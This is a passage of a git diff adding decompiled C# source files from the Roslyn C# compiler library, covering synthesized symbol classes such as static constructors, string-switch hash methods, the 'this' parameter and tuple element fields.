syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Local(localSymbol), syntheticBoundNodeFactory.Literal(0)), syntheticBoundNodeFactory.Goto(label2), syntheticBoundNodeFactory.Label(label), syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Local(localSymbol2), syntheticBoundNodeFactory.Binary(BinaryOperatorKind.Multiplication, localSymbol2.Type, syntheticBoundNodeFactory.Binary(BinaryOperatorKind.Xor, localSymbol2.Type, syntheticBoundNodeFactory.Convert(localSymbol2.Type, syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.Parameter(p), syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)(_isReadOnlySpan ? 406 : 400)).AsMember(newOwner), syntheticBoundNodeFactory.Local(localSymbol)), Conversion.ImplicitNumeric), syntheticBoundNodeFactory.Local(localSymbol2)), syntheticBoundNodeFactory.Literal(16777619))), syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Local(localSymbol), syntheticBoundNodeFactory.Binary(BinaryOperatorKind.Addition, localSymbol.Type, syntheticBoundNodeFactory.Local(localSymbol), syntheticBoundNodeFactory.Literal(1))), syntheticBoundNodeFactory.Label(label2), syntheticBoundNodeFactory.If(syntheticBoundNodeFactory.Binary(BinaryOperatorKind.LessThan, syntheticBoundNodeFactory.SpecialType((SpecialType)7), syntheticBoundNodeFactory.Local(localSymbol), syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.Parameter(p), syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)(_isReadOnlySpan ? 407 : 401)).AsMember(newOwner))), syntheticBoundNodeFactory.Goto(label)), syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Local(localSymbol2))); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } + + internal SynthesizedSpanSwitchHashMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, TypeSymbol returnType, TypeSymbol paramType, bool isReadOnlySpan) + : base(containingModule, privateImplType, returnType, isReadOnlySpan ? "ComputeReadOnlySpanHash" : "ComputeSpanHash") + { + _isReadOnlySpan = isReadOnlySpan; + SetParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(paramType), 0, (RefKind)0, "s", (ScopedKind)0))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedStateMachineProperty.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedStateMachineProperty.cs new file mode 100644 index 0000000..4b9d2db --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedStateMachineProperty.cs @@ -0,0 +1,75 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class SynthesizedStateMachineProperty : PropertySymbol, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private readonly SynthesizedStateMachineMethod _getter; + + private readonly string _name; + + public override string Name => _name; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations TypeWithAnnotations => _getter.ReturnTypeWithAnnotations; + + public override ImmutableArray RefCustomModifiers => _getter.RefCustomModifiers; + + public override ImmutableArray Parameters => _getter.Parameters; + + public override bool IsIndexer => !_getter.Parameters.IsEmpty; + + internal override bool HasSpecialName => false; + + public override MethodSymbol GetMethod => _getter; + + public override MethodSymbol SetMethod => null; + + internal override CallingConvention CallingConvention => _getter.CallingConvention; + + internal override bool MustCallMethodsDirectly => false; + + private PropertySymbol ImplementedProperty => (PropertySymbol)_getter.ExplicitInterfaceImplementations[0].AssociatedSymbol; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Create(ImplementedProperty); + + public override Symbol ContainingSymbol => _getter.ContainingSymbol; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => _getter.DeclaredAccessibility; + + public override bool IsStatic => _getter.IsStatic; + + public override bool IsVirtual => _getter.IsVirtual; + + public override bool IsOverride => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + public override bool IsExtern => false; + + internal override bool IsRequired => false; + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal override ObsoleteAttributeData ObsoleteAttributeData => null; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => _getter.HasMethodBodyDependency; + + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => ((ISynthesizedMethodBodyImplementationSymbol)ContainingSymbol).Method; + + internal SynthesizedStateMachineProperty(MethodSymbol interfacePropertyGetter, StateMachineTypeSymbol stateMachineType) + { + _name = ExplicitInterfaceHelpers.GetMemberName(interfacePropertyGetter.AssociatedSymbol.Name, interfacePropertyGetter.ContainingType, null); + string memberName = ExplicitInterfaceHelpers.GetMemberName(interfacePropertyGetter.Name, interfacePropertyGetter.ContainingType, null); + _getter = new SynthesizedStateMachineDebuggerHiddenMethod(memberName, interfacePropertyGetter, stateMachineType, this, hasMethodBodyDependency: false); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedStaticConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedStaticConstructor.cs new file mode 100644 index 0000000..a5f3747 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedStaticConstructor.cs @@ -0,0 +1,217 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedStaticConstructor : MethodSymbol +{ + private readonly NamedTypeSymbol _containingType; + + private ThreeState _lazyShouldEmit; + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override string Name => ".cctor"; + + internal override bool HasSpecialName => true; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + public override bool IsVararg => false; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + internal override int ParameterCount => 0; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => (Accessibility)1; + + public override ImmutableArray Locations => ContainingType.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(ContainingAssembly.GetSpecialType((SpecialType)6)); + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override Symbol? AssociatedSymbol => null; + + public override int Arity => 0; + + public override bool ReturnsVoid => true; + + public override MethodKind MethodKind => (MethodKind)14; + + public override bool IsExtern => false; + + public override bool IsSealed => false; + + public override bool IsAbstract => false; + + public override bool IsOverride => false; + + public override bool IsVirtual => false; + + public override bool IsStatic => true; + + public override bool IsAsync => false; + + public override bool HidesBaseMethodsByName => false; + + public override bool IsExtensionMethod => false; + + internal override CallingConvention CallingConvention => (CallingConvention)0; + + internal override bool IsExplicitInterfaceImplementation => false; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + internal override bool IsDeclaredReadOnly => false; + + internal override bool IsInitOnly => false; + + public sealed override bool IsImplicitlyDeclared => true; + + internal sealed override bool GenerateDebugInfo => true; + + internal override bool IsMetadataFinal => false; + + internal override bool RequiresSecurityObject => false; + + public sealed override bool AreLocalsZeroed => ContainingType.AreLocalsZeroed; + + internal override MarshalPseudoCustomAttributeData? ReturnValueMarshallingInformation => null; + + internal override bool HasDeclarativeSecurity => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedStaticConstructor.cs", 432); + } + } + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override bool UseUpdatedEscapeRules => false; + + internal SynthesizedStaticConstructor(NamedTypeSymbol containingType) + { + _containingType = containingType; + } + + internal override bool TryGetThisParameter(out ParameterSymbol? thisParameter) + { + thisParameter = null; + return true; + } + + internal override LexicalSortKey GetLexicalSortKey() + { + return LexicalSortKey.SynthesizedCCtor; + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + public override DllImportData? GetDllImportData() + { + return null; + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedStaticConstructor.cs", 360); + } + + internal sealed override UnmanagedCallersOnlyAttributeData? GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return null; + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + return ((SourceMemberContainerTypeSymbol)ContainingType).CalculateSyntaxOffsetInSynthesizedConstructor(localPosition, localTree, isStatic: true); + } + + internal sealed override bool IsNullableAnalysisEnabled() + { + return (ContainingType as SourceMemberContainerTypeSymbol)?.IsNullableEnabledForConstructorsAndInitializers(useStatic: true) ?? false; + } + + internal bool ShouldEmit(ImmutableArray boundInitializersOpt = default(ImmutableArray)) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (ThreeStateHelpers.HasValue(_lazyShouldEmit)) + { + return ThreeStateHelpers.Value(_lazyShouldEmit); + } + bool flag = CalculateShouldEmit(boundInitializersOpt); + _lazyShouldEmit = ThreeStateHelpers.ToThreeState(flag); + return flag; + } + + private bool CalculateShouldEmit(ImmutableArray boundInitializersOpt = default(ImmutableArray)) + { + if (boundInitializersOpt.IsDefault) + { + if (!(ContainingType is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol)) + { + return true; + } + boundInitializersOpt = Binder.BindFieldInitializers(DeclaringCompilation, sourceMemberContainerTypeSymbol.IsScriptClass ? sourceMemberContainerTypeSymbol.GetScriptInitializer() : null, sourceMemberContainerTypeSymbol.StaticInitializers, BindingDiagnosticBag.Discarded, out ImportChain _); + } + ImmutableArray.Enumerator enumerator = boundInitializersOpt.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is BoundFieldEqualsValue boundFieldEqualsValue) + { + BoundExpression value = boundFieldEqualsValue.Value; + if (value != null) + { + if (!value.IsDefaultValue()) + { + return true; + } + continue; + } + } + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedStringSwitchHashMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedStringSwitchHashMethod.cs new file mode 100644 index 0000000..4daf7d3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedStringSwitchHashMethod.cs @@ -0,0 +1,48 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedStringSwitchHashMethod : SynthesizedGlobalMethodSymbol +{ + internal static uint ComputeStringHash(string text) + { + uint num = 0u; + if (text != null) + { + num = 2166136261u; + for (int i = 0; i < text.Length; i++) + { + num = (text[i] ^ num) * 16777619; + } + } + return num; + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + LocalSymbol localSymbol = syntheticBoundNodeFactory.SynthesizedLocal(syntheticBoundNodeFactory.SpecialType((SpecialType)13), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + LocalSymbol localSymbol2 = syntheticBoundNodeFactory.SynthesizedLocal(syntheticBoundNodeFactory.SpecialType((SpecialType)14), null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + LabelSymbol label = syntheticBoundNodeFactory.GenerateLabel("again"); + LabelSymbol label2 = syntheticBoundNodeFactory.GenerateLabel("start"); + ParameterSymbol parameterSymbol = Parameters[0]; + BoundBlock body = syntheticBoundNodeFactory.Block(ImmutableArray.Create(localSymbol2, localSymbol), syntheticBoundNodeFactory.If(syntheticBoundNodeFactory.Binary(BinaryOperatorKind.ObjectNotEqual, syntheticBoundNodeFactory.SpecialType((SpecialType)7), syntheticBoundNodeFactory.Parameter(parameterSymbol), syntheticBoundNodeFactory.Null(parameterSymbol.Type)), syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Local(localSymbol2), syntheticBoundNodeFactory.Literal(2166136261u)), syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Local(localSymbol), syntheticBoundNodeFactory.Literal(0)), syntheticBoundNodeFactory.Goto(label2), syntheticBoundNodeFactory.Label(label), syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Local(localSymbol2), syntheticBoundNodeFactory.Binary(BinaryOperatorKind.Multiplication, localSymbol2.Type, syntheticBoundNodeFactory.Binary(BinaryOperatorKind.Xor, localSymbol2.Type, syntheticBoundNodeFactory.Convert(localSymbol2.Type, syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.Parameter(parameterSymbol), syntheticBoundNodeFactory.SpecialMethod((SpecialMember)12), syntheticBoundNodeFactory.Local(localSymbol)), Conversion.ImplicitNumeric), syntheticBoundNodeFactory.Local(localSymbol2)), syntheticBoundNodeFactory.Literal(16777619))), syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Local(localSymbol), syntheticBoundNodeFactory.Binary(BinaryOperatorKind.Addition, localSymbol.Type, syntheticBoundNodeFactory.Local(localSymbol), syntheticBoundNodeFactory.Literal(1))), syntheticBoundNodeFactory.Label(label2), syntheticBoundNodeFactory.If(syntheticBoundNodeFactory.Binary(BinaryOperatorKind.LessThan, syntheticBoundNodeFactory.SpecialType((SpecialType)7), syntheticBoundNodeFactory.Local(localSymbol), syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.Parameter(parameterSymbol), syntheticBoundNodeFactory.SpecialMethod((SpecialMember)11))), syntheticBoundNodeFactory.Goto(label)))), syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Local(localSymbol2))); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } + + internal SynthesizedStringSwitchHashMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, TypeSymbol returnType, TypeSymbol paramType) + : base(containingModule, privateImplType, returnType, "ComputeStringHash") + { + SetParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(paramType), 0, (RefKind)0, "s", (ScopedKind)0))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSubmissionConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSubmissionConstructor.cs new file mode 100644 index 0000000..7090894 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSubmissionConstructor.cs @@ -0,0 +1,23 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedSubmissionConstructor : SynthesizedInstanceConstructor +{ + private readonly ImmutableArray _parameters; + + public override ImmutableArray Parameters => _parameters; + + internal SynthesizedSubmissionConstructor(NamedTypeSymbol containingType, BindingDiagnosticBag diagnostics) + : base(containingType) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation declaringCompilation = containingType.DeclaringCompilation; + ArrayTypeSymbol arrayTypeSymbol = declaringCompilation.CreateArrayTypeSymbol(declaringCompilation.GetSpecialType((SpecialType)1)); + UseSiteInfo useSiteInfo = arrayTypeSymbol.GetUseSiteInfo(); + ((BindingDiagnosticBag)(object)diagnostics).Add(useSiteInfo, NoLocation.Singleton); + _parameters = ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(arrayTypeSymbol), 0, (RefKind)0, "submissionArray", (ScopedKind)0)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSubstitutedTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSubstitutedTypeParameterSymbol.cs new file mode 100644 index 0000000..b093853 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedSubstitutedTypeParameterSymbol.cs @@ -0,0 +1,45 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedSubstitutedTypeParameterSymbol : SubstitutedTypeParameterSymbol +{ + public override bool IsImplicitlyDeclared => true; + + public override TypeParameterKind TypeParameterKind + { + get + { + if (ContainingSymbol is MethodSymbol) + { + return (TypeParameterKind)1; + } + return (TypeParameterKind)0; + } + } + + public SynthesizedSubstitutedTypeParameterSymbol(Symbol owner, TypeMap map, TypeParameterSymbol substitutedFrom, int ordinal) + : base(owner, map, substitutedFrom, ordinal) + { + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + if (HasUnmanagedTypeConstraint) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsUnmanagedAttribute(this)); + } + } + + public override ImmutableArray GetAttributes() + { + if (ContainingSymbol is SynthesizedMethodBaseSymbol { InheritsBaseMethodAttributes: not false }) + { + return _underlyingTypeParameter.GetAttributes(); + } + return ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedThrowSwitchExpressionExceptionMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedThrowSwitchExpressionExceptionMethod.cs new file mode 100644 index 0000000..057d285 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedThrowSwitchExpressionExceptionMethod.cs @@ -0,0 +1,30 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedThrowSwitchExpressionExceptionMethod : SynthesizedGlobalMethodSymbol +{ + internal SynthesizedThrowSwitchExpressionExceptionMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, TypeSymbol returnType, TypeSymbol paramType) + : base(containingModule, privateImplType, returnType, "ThrowSwitchExpressionException") + { + SetParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(paramType), 0, (RefKind)0, "unmatchedValue", (ScopedKind)0))); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + ParameterSymbol p = Parameters[0]; + BoundThrowStatement body = syntheticBoundNodeFactory.Throw(syntheticBoundNodeFactory.New(syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)456), ImmutableArray.Create((BoundExpression)syntheticBoundNodeFactory.Parameter(p)))); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ThisParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ThisParameterSymbol.cs new file mode 100644 index 0000000..a59cc00 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ThisParameterSymbol.cs @@ -0,0 +1,132 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ThisParameterSymbol : ParameterSymbol +{ + internal const string SymbolName = "this"; + + private readonly MethodSymbol? _containingMethod; + + private readonly TypeSymbol _containingType; + + public override string Name => "this"; + + public override bool IsDiscard => false; + + public override TypeWithAnnotations TypeWithAnnotations => TypeWithAnnotations.Create(_containingType, NullableAnnotation.NotAnnotated); + + public override RefKind RefKind + { + get + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + NamedTypeSymbol containingType = ContainingType; + if ((object)containingType != null && (int)containingType.TypeKind == 10) + { + MethodSymbol? containingMethod = _containingMethod; + if ((object)containingMethod != null && (int)containingMethod.MethodKind == 1) + { + return (RefKind)2; + } + MethodSymbol? containingMethod2 = _containingMethod; + if ((object)containingMethod2 != null && containingMethod2.IsEffectivelyReadOnly) + { + return (RefKind)3; + } + return (RefKind)1; + } + return (RefKind)0; + } + } + + public override ImmutableArray Locations + { + get + { + if ((object)_containingMethod == null) + { + return ImmutableArray.Empty; + } + return _containingMethod.Locations; + } + } + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Symbol ContainingSymbol => (Symbol)(((object)_containingMethod) ?? ((object)_containingType)); + + internal override ConstantValue? ExplicitDefaultConstantValue => null; + + internal override bool IsMetadataOptional => false; + + public override bool IsParams => false; + + internal override bool IsIDispatchConstant => false; + + internal override bool IsIUnknownConstant => false; + + internal override bool IsCallerFilePath => false; + + internal override bool IsCallerLineNumber => false; + + internal override bool IsCallerMemberName => false; + + internal override int CallerArgumentExpressionParameterIndex => -1; + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + internal override ImmutableHashSet NotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override int Ordinal => -1; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override bool IsThis => true; + + public override bool IsImplicitlyDeclared => true; + + internal override bool IsMetadataIn => false; + + internal override bool IsMetadataOut => false; + + internal override MarshalPseudoCustomAttributeData? MarshallingInformation => null; + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes => ImmutableArray.Empty; + + internal override bool HasInterpolatedStringHandlerArgumentError => false; + + internal override ScopedKind EffectiveScope + { + get + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + ScopedKind val = (ScopedKind)(_containingType.IsStructType() ? 1 : 0); + if ((int)val != 0 && HasUnscopedRefAttribute) + { + return (ScopedKind)0; + } + return val; + } + } + + internal override bool HasUnscopedRefAttribute => _containingMethod.HasUnscopedRefAttributeOnMethodOrProperty(); + + internal sealed override bool UseUpdatedEscapeRules => _containingMethod?.UseUpdatedEscapeRules ?? _containingType.ContainingModule.UseUpdatedEscapeRules; + + internal ThisParameterSymbol(MethodSymbol forMethod) + : this(forMethod, forMethod.ContainingType) + { + } + + internal ThisParameterSymbol(MethodSymbol? forMethod, TypeSymbol containingType) + { + _containingMethod = forMethod; + _containingType = containingType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TupleElementFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TupleElementFieldSymbol.cs new file mode 100644 index 0000000..6738b70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TupleElementFieldSymbol.cs @@ -0,0 +1,143 @@ +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class TupleElementFieldSymbol : WrappedFieldSymbol +{ + private readonly int _tupleElementIndex; + + protected readonly NamedTypeSymbol _containingTuple; + + private readonly ImmutableArray _locations; + + protected readonly FieldSymbol _correspondingDefaultField; + + private readonly bool _isImplicitlyDeclared; + + public sealed override int TupleElementIndex => _tupleElementIndex >> 1; + + public sealed override bool IsDefaultTupleElement => (_tupleElementIndex & 1) == 0; + + public sealed override bool IsExplicitlyNamedTupleElement => !_isImplicitlyDeclared; + + public sealed override FieldSymbol TupleUnderlyingField => _underlyingField; + + public sealed override Symbol? AssociatedSymbol => null; + + public override FieldSymbol OriginalDefinition + { + get + { + NamedTypeSymbol originalDefinition = ContainingType.OriginalDefinition; + if (!originalDefinition.IsTupleType) + { + return this; + } + return originalDefinition.GetTupleMemberSymbolForUnderlyingMember(_underlyingField.OriginalDefinition); + } + } + + public sealed override Symbol ContainingSymbol => _containingTuple; + + public sealed override RefKind RefKind => _underlyingField.RefKind; + + public sealed override ImmutableArray RefCustomModifiers => _underlyingField.RefCustomModifiers; + + internal override bool RequiresCompletion => _underlyingField.RequiresCompletion; + + public sealed override ImmutableArray Locations => _locations; + + public sealed override ImmutableArray DeclaringSyntaxReferences + { + get + { + if (!_isImplicitlyDeclared) + { + return Symbol.GetDeclaringSyntaxReferenceHelper(_locations); + } + return ImmutableArray.Empty; + } + } + + public sealed override bool IsImplicitlyDeclared => _isImplicitlyDeclared; + + public sealed override FieldSymbol CorrespondingTupleField => _correspondingDefaultField; + + public TupleElementFieldSymbol(NamedTypeSymbol container, FieldSymbol underlyingField, int tupleElementIndex, ImmutableArray locations, bool isImplicitlyDeclared, FieldSymbol? correspondingDefaultFieldOpt = null) + : base(underlyingField) + { + _containingTuple = container; + _tupleElementIndex = (((object)correspondingDefaultFieldOpt == null) ? (tupleElementIndex << 1) : ((tupleElementIndex << 1) + 1)); + _locations = locations; + _isImplicitlyDeclared = isImplicitlyDeclared; + _correspondingDefaultField = correspondingDefaultFieldOpt ?? this; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return _underlyingField.GetFieldType(fieldsBeingBound); + } + + public override ImmutableArray GetAttributes() + { + return _underlyingField.GetAttributes(); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _underlyingField.GetUseSiteInfo(); + } + + internal override bool HasComplete(CompletionPart part) + { + return _underlyingField.HasComplete(part); + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + _underlyingField.ForceComplete(locationOpt, cancellationToken); + } + + public sealed override int GetHashCode() + { + int hashCode = _containingTuple.GetHashCode(); + int tupleElementIndex = _tupleElementIndex; + return Hash.Combine(hashCode, tupleElementIndex.GetHashCode()); + } + + public sealed override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + TupleElementFieldSymbol tupleElementFieldSymbol = obj as TupleElementFieldSymbol; + if ((object)tupleElementFieldSymbol == this) + { + return true; + } + if ((object)tupleElementFieldSymbol != null && _tupleElementIndex == tupleElementFieldSymbol._tupleElementIndex) + { + return TypeSymbol.Equals(_containingTuple, tupleElementFieldSymbol._containingTuple, compareKind); + } + return false; + } + + internal override FieldSymbol 